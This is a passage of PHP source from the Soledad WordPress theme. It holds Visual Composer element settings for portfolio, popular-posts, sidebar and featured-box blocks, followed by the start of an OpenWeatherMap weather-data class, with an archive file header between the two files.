						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Reading Time', 'soledad' ),
						'param_name'  => 'hide_readtime',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Post Excerpt', 'soledad' ),
						'param_name'  => 'hide_excerpt',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Disable Autoplay for Sliders on Style 4, 5, 12', 'soledad' ),
						'param_name'  => 'cat_autoplay',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Remove Line Above Post Excerpt', 'soledad' ),
						'param_name'  => 'hide_excerpt_line',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Excerpt Length for style 1,2,6,7,8,10', 'soledad' ),
						'param_name' => '_excerpt_length',
						'value'      => '',
					),
					//// Enable view all button
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_viewall_settings',
						'heading'          => esc_html__( 'View All Button', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Enable "View All" Button', 'soledad' ),
						'param_name'  => 'cat_seemore',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Link for "View All" Button', 'soledad' ),
						'param_name' => 'cat_view_link',
						'value'      => '',
						'dependency' => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Remove arrow on "View All"', 'soledad' ),
						'param_name'  => 'cat_remove_arrow',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'dependency'  => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Make "View All" is A Button', 'soledad' ),
						'param_name'  => 'cat_readmore_button',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'dependency'  => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align "View All" Button', 'soledad' ),
						'param_name' => 'cat_readmore_align',
						'value'      => array(
							__( 'Align Left', 'soledad' )   => 'left',
							__( 'Align Center', 'soledad' ) => 'center',
							__( 'Align Right', 'soledad' )  => 'right',
						),
						'std'        => 'center',
					),
					array(
						'type'       => 'penci_number',
						'param_name' => 'cat_readmore_martop',
						'heading'    => __( 'Custom Margin Top for "View All" Button', 'soledad' ),
						'value'      => '',
						'std'        => '',
						'suffix'     => 'px',
						'min'        => 1,
						'dependency' => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
				), Penci_Vc_Params_Helper::heading_block_params( false ), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::params_featured_cat_typo_color(), Penci_Vc_Params_Helper::params_heading_filter( true ), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), array(
					array(
						'type'       => 'css_editor',
						'heading'    => __( 'CSS box', 'soledad' ),
						'param_name' => 'css',
						'group'      => __( 'Design Options', 'soledad' ),
					),
					penci_get_vc_responsive_spacing_map(),
				) )
			) );

			// Portfolio
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Portfolio', 'soledad' ),
				'description' => 'Display Your Portfolio',
				'base'        => 'portfolio',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array(
					array(
						'type'        => 'loop',
						'heading'     => __( 'Click button below to Build Query for This Portfolio', 'soledad' ),
						'param_name'  => 'loop',
						'value'       => 'post_type:portfolio',
						'settings'    => array(
							'size'      => array( 'value' => '' ),
							'post_type' => array( 'value' => 'portfolio' ),
						),
						'description' => __( 'Create Portfolio loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Portfolio Style',
						'value'       => array(
							'Masonry' => 'masonry',
							'Grid'    => 'grid'
						),
						'param_name'  => 'style',
						'description' => '',
					),
					array(
						'type'        => 'hidden',
						'heading'     => 'Number Portfolio Display',
						'param_name'  => 'number',
						'description' => 'Fill the number portfolio display you want here',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => esc_html__( 'Item Style', 'penci-framework' ),
						'value'      => array(
							'Text Overlay'     => 'text_overlay',
							'Text Below Image' => 'below_img'
						),
						'param_name' => 'item_style',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Number Columns',
						'value'       => array(
							'3 Columns' => '3',
							'2 Columns' => '2'
						),
						'param_name'  => 'column',
						'description' => '',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Type - Just apply for Grid Style', 'soledad' ),
						'param_name' => 'image_type',
						'value'      => array(
							__( 'Square', 'soledad' )    => 'square',
							__( 'Vertical', 'soledad' )  => 'vertical',
							__( 'Landscape', 'soledad' ) => 'landscape',
						),
						'std'        => 'landscape',
					),
					array(
						'type'        => 'hidden',
						'heading'     => 'Display Portfolio in Portfolio Categories',
						'param_name'  => 'cat',
						'description' => 'Fill the portfolio categories slug you want to display. E.g: cat-1, cat-2',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Display Filter?',
						'value'       => array(
							'Yes' => 'true',
							'No'  => 'false'
						),
						'param_name'  => 'filter',
						'description' => '',
					),
					array(
						'type'        => 'textfield',
						'heading'     => 'All Portfolio Text',
						'param_name'  => 'all_text',
						'description' => '',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => esc_html__( 'Pagination:', 'soledad' ),
						'param_name' => 'pagination',
						'std'        => 'number',
						'value'      => array(
							esc_html__( 'Numeric Pagination', 'soledad' ) => 'number',
							esc_html__( 'Load More Button', 'soledad' )   => 'load_more',
							esc_html__( 'Infinite Load', 'soledad' )      => 'infinite',
							esc_html__( 'None', 'soledad' )               => 'none',
						),
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
						'param_name' => 'numbermore',
						'std'        => 6,
						'dependency' => array( 'element' => 'pagination', 'value' => array( 'load_more', 'infinite' ) )
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Enable Click on Thumbnails to Open Lightbox?',
						'value'       => array(
							'No'  => 'false',
							'Yes' => 'true'
						),
						'param_name'  => 'lightbox',
						'description' => '',
					),
					// Typo
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_filter_settings',
						'heading'          => esc_html__( 'Portfolio Filter', 'soledad' ),
						'value'            => '',
						'group'            => $group_color,
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Link Color', 'soledad' ),
						'param_name'       => 'pfilter_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
						'param_name'       => 'pfilter_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'pfilter_fsize',
						'heading'          => __( 'Font Size for Link', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Link', 'soledad' ),
						'param_name'       => 'use_pfilter_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'pfilter_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_pfilter_typo', 'value' => 'yes' ),
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_ptittle_settings',
						'heading'          => esc_html__( 'Portfolio Title', 'soledad' ),
						'value'            => '',
						'group'            => $group_color,
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Background Overlay Color', 'soledad' ),
						'param_name'       => 'pbgoverlay_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Title Color', 'soledad' ),
						'param_name'       => 'ptitle_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Title Hover Color', 'soledad' ),
						'param_name'       => 'ptitle_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'ptitle_fsize',
						'heading'          => __( 'Font Size for Portfolio Title', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Portfolio Title', 'soledad' ),
						'param_name'       => 'use_ptitle_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'ptitle_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
					),

					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_ptittle_settings',
						'heading'          => esc_html__( 'Portfolio Category', 'soledad' ),
						'value'            => '',
						'group'            => $group_color,
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Category Color', 'soledad' ),
						'param_name'       => 'pcat_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Category Hover Color', 'soledad' ),
						'param_name'       => 'pcat_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'pcat_fsize',
						'heading'          => __( 'Font Size for Portfolio Category', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Portfolio Category', 'soledad' ),
						'param_name'       => 'use_pcat_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'pcat_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
					),

				)
			) );

			// Popular Posts
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Popular Posts', 'soledad' ),
				'description' => 'Display Popular Posts Slider Based on The Most Posts Viewed',
				'base'        => 'popular_posts',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array_merge( array(
					array(
						'type'        => 'loop',
						'heading'     => '',
						'param_name'  => 'build_query',
						'value'       => 'post_type:post|size:10',
						'settings'    => array(
							'size'      => array( 'value' => 10, 'hidden' => false ),
							'post_type' => array( 'value' => 'post', 'hidden' => false )
						),
						'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Select Columns for Display',
						'value'       => array(
							'4 Columns' => '4',
							'3 Columns' => '3'
						),
						'param_name'  => 'columns',
						'description' => '',
					),

					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Size Type', 'soledad' ),
						'value'      => array(
							'Default'         => '',
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical',
							'Custom'          => 'custom',
						),
						'std'        => '',
						'param_name' => 'penci_featimg_size',
					),
					array(
						'type'       => 'penci_only_number',
						'heading'    => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
						'param_name' => 'penci_featimg_ratio',
						'value'      => '',
						'std'        => '',
						'min'        => 0,
						'max'        => 100,
						'suffix'     => '%',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_size',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Prev/Next Buttons', 'soledad' ),
						'param_name'       => 'show_navs',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Dots', 'soledad' ),
						'param_name'       => 'hide_dots',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'popularposts_heading_2',
						'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
						'value'            => '',
						'group'            => 'Heading',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'heading'     => __( 'Hide Heading Title', 'soledad' ),
						'param_name'  => 'hide_block_heading',
						'group'       => 'Heading',
					),
				), Penci_Vc_Params_Helper::heading_block_params( false ), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::params_popular_posts_typo_color(), array(
					array(
						'type'       => 'css_editor',
						'heading'    => __( 'CSS box', 'soledad' ),
						'param_name' => 'css',
						'group'      => __( 'Design Options', 'soledad' ),
					),
					penci_get_vc_responsive_spacing_map(),
				) )
			) );

			// Sidebar
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Soledad Sidebar', 'soledad' ),
				'description' => 'Display a Sidebar for Soledad Theme',
				'base'        => 'soledad_sidebar',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array(
					array(
						'type'        => 'dropdown',
						'heading'     => 'Sidebar to Display',
						'value'       => Penci_Custom_Sidebar::get_list_sidebar_vc(),
						'param_name'  => 'sidebar',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Select Sidebar Style',
						'value'       => array(
							'Default( follow Customize )' => '',
							'No Boxed'                    => 'pcsb-boxed-none',
							'Boxed Whole Sidebar'         => 'pcsb-boxed-whole',
							'Boxed Widgets on Sidebar'    => 'pcsb-boxed-widget',
						),
						'param_name'  => 'layout',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Sidebar Widget Heading Style',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Style 1'                     => 'style-1',
							'Style 2'                     => 'style-2',
							'Style 3'                     => 'style-3',
							'Style 4'                     => 'style-4',
							'Style 5'                     => 'style-5',
							'Style 6 - Only Text'         => 'style-6',
							'Style 7'                     => 'style-7',
							'Style 8'                     => 'style-9',
							'Style 9'                     => 'style-8',
							'Style 10'                    => 'style-10',
							'Style 11'                    => 'style-11',
							'Style 12'                    => 'style-12',
							'Style 13'                    => 'style-13',
							'Style 14'                    => 'style-14',
							'Style 15'                    => 'style-15',
							'Style 16'                    => 'style-16',
							'style-2 style-17'            => 'Style 17',
							'style-18'                    => 'Style 18',
							'style-18 style-19'           => 'Style 19',
							'style-18 style-20'           => 'Style 20',
							'style-21'                    => __( 'Style 21', 'soledad' ),
							'style-22'                    => __( 'Style 22', 'soledad' ),
							'style-23'                    => __( 'Style 23', 'soledad' ),
							'style-24'                    => __( 'Style 24', 'soledad' ),
							'style-25'          		  => __( 'Style 25', 'soledad' ),
							'style-26'          		  => __( 'Style 26', 'soledad' ),
							'style-27'          		  => __( 'Style 27', 'soledad' ),
							'style-28'          		  => __( 'Style 28', 'soledad' ),
						),
						'param_name'  => 'style',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Sidebar Widget Heading Align',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Center'                      => 'pcalign-center',
							'Left'                        => 'pcalign-left',
							'Right'                       => 'pcalign-right',
						),
						'param_name'  => 'align',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Align Icon on Style 15',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Right'                       => 'pciconp-right',
							'Left'                        => 'pciconp-left',
						),
						'param_name'  => 'icon_pos',
						'description' => '',
						'dependency'  => array( 'element' => 'style', 'value' => array( 'style-15' ) ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Custom Icon on Style 15',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Arrow Right'                 => 'pcicon-right',
							'Arrow Left'                  => 'pcicon-left',
							'Arrow Down'                  => 'pcicon-down',
							'Arrow Up'                    => 'pcicon-up',
							'Star'                        => 'pcicon-star',
							'Bars'                        => 'pcicon-bars',
							'File'                        => 'pcicon-file',
							'Fire'                        => 'pcicon-fire',
							'Book'                        => 'pcicon-book',
						),
						'param_name'  => 'icon',
						'description' => '',
						'dependency'  => array( 'element' => 'style', 'value' => array( 'style-15' ) ),
					),
				)
			) );

			// Featured Boxes
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Soledad Featured Boxes', 'soledad' ),
				'description' => 'Create Featured Boxes',
				'base'        => 'soledad_featured_boxes',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array(
					array(
						'type'        => 'dropdown',
						'heading'     => 'Featured Boxes Style',
						'value'       => array(
							'Style 1' => 'boxes-style-1',
							'Style 2' => 'boxes-style-2',
							'Style 3' => 'boxes-style-3',
							'Style 4' => 'boxes-style-4',
						),
						'param_name'  => 'style',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Featured Boxes Columns',
						'value'       => array(
							'3 Columns' => 'boxes-3-columns',
							'1 Column'  => 'boxes-1-column',
							'2 Columns' => 'boxes-2-columns',
							'4 Columns' => 'boxes-4-columns',
						),
						'param_name'  => 'columns',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Featured Boxes Size Type',
						'value'       => array(
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical'
						),
						'param_name'  => 'size',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Open in New Tab?',
						'value'       => array(
							'No'  => 'no',
							'Yes' => 'yes',
						),
						'param_name'  => 'new_tab',
						'description' => '',
					),
					array(
						'type'        => 'textfield',
						'heading'     => 'Custom Margin Top ( Unit is Pixel )',
						'param_name'  => 'margin_top',
						'description' => '',
						'value'       => '0'
					),
					array(
						'type'        => 'textfield',
						'heading'     => 'Custom Margin Bottom ( Unit is Pixel )',
						'param_name'  => 'margin_bottom',
						'description' => '',
						'value'       => '0'
					),
					array(
						'type'       => 'param_group',
						'heading'    => '',
						'param_name' => 'boxes_data',
						'value'      => urlencode( json_encode( array(
							array(
								'text' => 'Featured Boxed 1',
								'url'  => 'http://example1.com/'
							),
							array(
								'text' => 'Featured Boxed 2',
								'url'  => 'http://example2.com/'
							),
							array(
								'text' => 'Featured Boxed 3',
								'url'  => 'http://example3.com/'
							),
						) ) ),
						'params'     => array(
							array(
								'type'        => 'attach_image',
								'heading'     => __( 'Image', 'soledad' ),
								'param_name'  => 'image',
								'value'       => '',
								'description' => __( 'Select image from media library.', 'soledad' ),
							),
							array(
								'type'        => 'textfield',
								'heading'     => __( 'Text', 'soledad' ),
								'param_name'  => 'text',
								'admin_label' => true,
							),
							array(
								'type'       => 'textfield',
								'heading'    => __( 'URL', 'soledad' ),
								'param_name' => 'url',
							),
						),
					),

					// Color
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Background and Border color', 'soledad' ),
						'param_name'       => 'img_box_border_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Text color', 'soledad' ),
						'param_name'       => 'img_box_text_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Hover text color', 'soledad' ),
						'param_name'       => 'img_box_text_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'img_box_fsize',
						'heading'          => __( 'Font Size for Text', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Text', 'soledad' ),
						'param_name'       => 'use_img_box_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'img_box_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_img_box_typo', 'value' => 'yes' ),
					),
				)
			) );
		}

		/**
		 * Show notice if your plugin is activated but Visual Composer is not
		 */
		public static function notice() {
			?>

            <div class="updated">
                <p><?php _e( '<strong>Soledad VC Addon</strong> requires <strong>Visual Composer</strong> plugin to be installed and activated on your site.', 'soledad' ) ?></p>
            </div>

			<?php
		}

		/**
		 * Get category for auto complete field
		 *
		 * @param string $taxonomy Taxnomy to get terms
		 *
		 * @return array
		 */
		private static function get_terms( $taxonomy = 'category' ) {
			$cats = get_terms( $taxonomy );
			if ( ! $cats || is_wp_error( $cats ) ) {
				return array();
			}

			$categories = array();
			foreach ( $cats as $cat ) {
				$categories[ $cat->name ] = $cat->slug;
			}

			return $categories;
		}
	}

	new Soledad_VC_Admin();
}
PK     N\Xx
Z  
Z    inc/weather.phpnu [        <?php

class Penci_Weather {

	private static $caching_time = 14400;  // 3 hours

	private static $default_api_keys = '65a589922c250a25a65e5d934a2cc9e9';

	public static function get_appid() {

		$api_key = get_theme_mod( 'penci_api_weather_key' );

		if ( ! $api_key ) {
			$api_key = self::$default_api_keys;
		}

		return $api_key;
	}

	public static function weather_data( $atts ) {

		$atts = wp_parse_args( $atts, array(
			'w_type'        => 'today',
			'locale'        => 'en',
			'location'      => '',
			'location_show' => '',
			'forecast_days' => '5',
			'units'         => 'metric', // metric or imperial
		) );

		if ( empty( $atts['location'] ) ) {
			return self::mess_error();
		}

		$weather_data = array(
			'api_location'     => $atts['location'],
			'api_locale'       => $atts['locale'],
			'today_icon'       => '',
			'today_icon_text'  => '',
			'today_temp'       => array( 0, 0 ),
			'today_humidity'   => '',
			'today_wind_speed' => array( 0, 0 ),
			'today_min'        => array( 0, 0 ),
			'today_max'        => array( 0, 0 ),
			'today_clouds'     => 0,
			'current_unit'     => 'metric' == $atts['units'] ? '0' : '1',
			'temp_label'       => 'metric' == $atts['units'] ? 'C' : 'F',
			'speed_label'      => 'metric' == $atts['units'] ? 'km/h' : 'mp/h',
			'forecast'         => array()
		);

		$weather_data_status = self::get_weather_data( $atts, $weather_data );

		return $weather_data_status;

	}

	public static function get_weather_data( $atts, $weather_data ) {

		$sytem_locale      = get_locale();
		$available_locales = self::available_locales();

		// Check for locale
		if ( in_array( $sytem_locale, $available_locales ) ) {
			$atts['locale'] = $sytem_locale;
		}

		// Check for locale by first two digits
		if ( in_array( substr( $sytem_locale, 0, 2 ), $available_locales ) ) {
			$atts['locale'] = substr( $sytem_locale, 0, 2 );
		}

		// TRANSIENT NAME
		$weather_transient_name = 'penci_' . sanitize_title( $atts['location'] ) . strtolower( $atts['units'] ) . '_' . $atts['locale'];

		if ( isset( $_GET['penci_clear_weather_data'] ) ) {
			delete_transient( $weather_transient_name );
		}

		$api_key     = self::get_appid();
		$api_key_old = get_theme_mod( 'penci_api_weather_key_old' );

		if ( $api_key && $api_key != $api_key_old ) {
			set_theme_mod( 'penci_api_weather_key_old', $api_key );
		}
		delete_transient( $weather_transient_name );
		if ( get_transient( $weather_transient_name ) && $api_key == $api_key_old ) {
			$weather_data = get_transient( $weather_transient_name );
		} else {

			$weather_data = self::get_today_data( $atts, $weather_data );
			if ( 'forecast' == $atts['w_type'] ) {
				$weather_data = self::get_forecast_data( $atts, $weather_data );

			}
			set_transient( $weather_transient_name, $weather_data, self::$caching_time );
		}


		if ( 'forecast' == $atts['w_type'] && isset( $weather_data['forecast'] ) && ! $weather_data['forecast'] ) {

			delete_transient( $weather_transient_name );
			$weather_data = self::get_forecast_data( $atts, $weather_data );
			set_transient( $weather_transient_name, $weather_data, self::$caching_time );
		}

		return $weather_data;


	}

	public static function get_today_data( $atts, $weather_data ) {
		$http = is_ssl() ? 'https://' : 'http://';

		$now_ping = $http . "api.openweathermap.org/data/2.5/weather?q=" . urlencode( $atts['location'] ) . "&lang=" . $atts['locale'] . "&units=" . $atts['units'] . '&APPID=' . self::get_appid();

		$now_ping_get = wp_remote_get( $now_ping );

		if ( is_wp_error( $now_ping_get ) ) {
			return $weather_data;
		}

		// get api response
		$api_response = json_decode( $now_ping_get['body'], true );

		if ( isset( $api_response['cod'] ) && $api_response['cod'] == 404 ) {
			return $weather_data;
		} else {
			// Current location
			if ( isset( $api_response['name'] ) ) {
				$weather_data['api_location'] = $api_response['name'];
			}

			// min max current temperature
			if ( isset( $api_response['main']['temp'] ) ) {
				$weather_data['today_temp'][0] = round( $api_response['main']['temp'], 1 );
				$weather_data['today_temp'][1] = $api_response['main']['temp'];
			}
			if ( isset( $api_response['main']['temp_min'] ) ) {
				$weather_data['today_min'][0] = round( $api_response['main']['temp_min'], 1 );
				$weather_data['today_min'][1] = $api_response['main']['temp_min'];
			}
			if ( isset( $api_response['main']['temp_max'] ) ) {
				$weather_data['today_max'][0] = round( $api_response['main']['temp_max'], 1 );
				$weather_data['today_max'][1] = $api_response['main']['temp_max'];
			}

			// humidity
			if ( isset( $api_response['main']['humidity'] ) ) {
				$weather_data['today_humidity'] = round( $api_response['main']['humidity'] );
			}

			// wind speed and direction
			if ( isset( $api_response['wind']['speed'] ) ) {
				$weather_data['today_wind_speed'][0] = round( $api_response['wind']['speed'], 1 );
				$weather_data['today_wind_speed'][1] = self::convert_kmph_to_mph( $api_response['wind']['speed'] );
			}

			// forecast description
			if ( isset( $api_response['weather'][0]['description'] ) ) {
				$weather_data['today_icon_text'] = $api_response['weather'][0]['description'];
			}

			// clouds
			if ( isset( $api_response['clouds']['all'] ) ) {
				$weather_data['today_clouds'] = round( $api_response['clouds']['all'] );
			}

			// forecast description
			if ( isset( $api_response['weather'][0]['description'] ) ) {
				$weather_data['today_icon_text'] = $api_response['weather'][0]['description'];
			}

			// clouds
			if ( isset( $api_response['clouds']['all'] ) ) {
				$weather_data['today_clouds'] = round( $api_response['clouds']['all'] );
			}

			// icon
			if ( isset( $api_response['weather'][0]['icon'] ) ) {
